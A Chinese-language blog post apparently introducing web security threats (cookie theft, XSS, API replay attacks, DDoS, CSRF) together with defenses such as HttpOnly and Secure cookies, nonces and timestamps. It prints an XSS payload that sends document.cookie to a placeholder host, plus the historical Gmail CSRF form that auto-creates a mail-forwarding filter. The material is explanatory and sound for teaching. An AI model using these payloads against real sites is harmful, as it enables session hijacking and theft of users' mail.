网络安全问题

2021-09-10  本文已影响0人  Burlong

Cookie


因为其存储在用户浏览器本地,一大别人利用抓包或脚本获取到cookie信息,可以利用其来伪装授权并获取用户信息。

XSS攻击:

XSS. Cross-Site Scripting(跨站脚本攻击)简称XSS,是一种代码注入攻击。 攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。 利用这些恶意脚本,攻击者可获取用户的敏感信息如Cookie、SessionID 等。

攻击方式:1、诱导用户点击某些url,包含一些非法标签或脚本;2、黑客将利用服务器接口将代码存储到服务器,待用户访问到相关页面资源时就会执行恶意代码。

XSS攻击示例:

<script>document.location='<http://xxx.com/getCookie.php?cookie='+document.cookie;></script>

1、cookie有效时间不易过长,且配合session使用,重要的数据不放cookie放在session中存储。

2、设置HttpOnly属性为true,可以防止使用js脚本读取到cookie信息。(HttpOnly是包含在Set-Cookie HTTP响应头文件中的附加标志。生成cookie时使用HttpOnly标志有助于降低客户端脚本访问受保护cookie的风险,但需要浏览器支持)

3、对k-v对中的v尽可能地设计一个比较复杂的值,并进行加密,比如:用户名+cookie有效时间+当前时间戳+随机数

4、尽可能使用HTTPS,即tls证书,并为cookie设置Secure属性为true,它的意思是,cookie只能使用https协议发送给服务器

API防重放机制


概念

笼统点来说,就是拿你的请求原封不动地再发送一次或N次。。

问题

1、如果请求涉及数据库插入操作,可能导致多条重复数据。

2、如果是查询操作,而且比较慢的查询,那么可能打垮数据库。

解决方案

1、timestamp

服务的约定只接受xx时间内请求,可以在header中增加timestamp-时间戳,每次请求服务器进行校验,超过约定时间认为重复请求。

2、nonce

同样约定一个有效时间,客户端对每个请求生成一个唯一标识,一般用UUID来做,服务器在接收到请求后进行校验,超过约定时间认为重放请求。

PS:一般在网关做这一层校验

问题:HTTPS是否可以防重放

否。只能防止明文数据被抓取。

DDOS(分布式拒绝服务攻击)


先了解DOS:

利用合理的服务请求来占用过多的服务资源,从而使服务器无法处理合法用户的指令。

DDOS

DDOS就是在DOS的基础上增加一些傀儡机(优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。),发起更大规模的攻击,从而致使服务器接收不了正常的请求。

CSRF(Cross-site request forgery)跨站请求伪造


攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

常见流程如下:

2007年Gmail的CSRF漏洞:小A在自己的邮箱中点开一个链接,结果所有邮件都被拦截并转发到别处。

<form method="POST" action="<https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf>" enctype="multipart/form-data"> 
    <input type="hidden" name="cf2_emc" value="true"/> 
    <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
    .....
    <input type="hidden" name="irf" value="on"/> 
    <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 
<script> 
    document.forms[0].submit();
</script>

这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hackermail.com”。 小A由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小A的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小A的登录凭证,于是成功给小明配置了过滤器。 黑客可以查看小A的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。

上一篇下一篇

猜你喜欢

热点阅读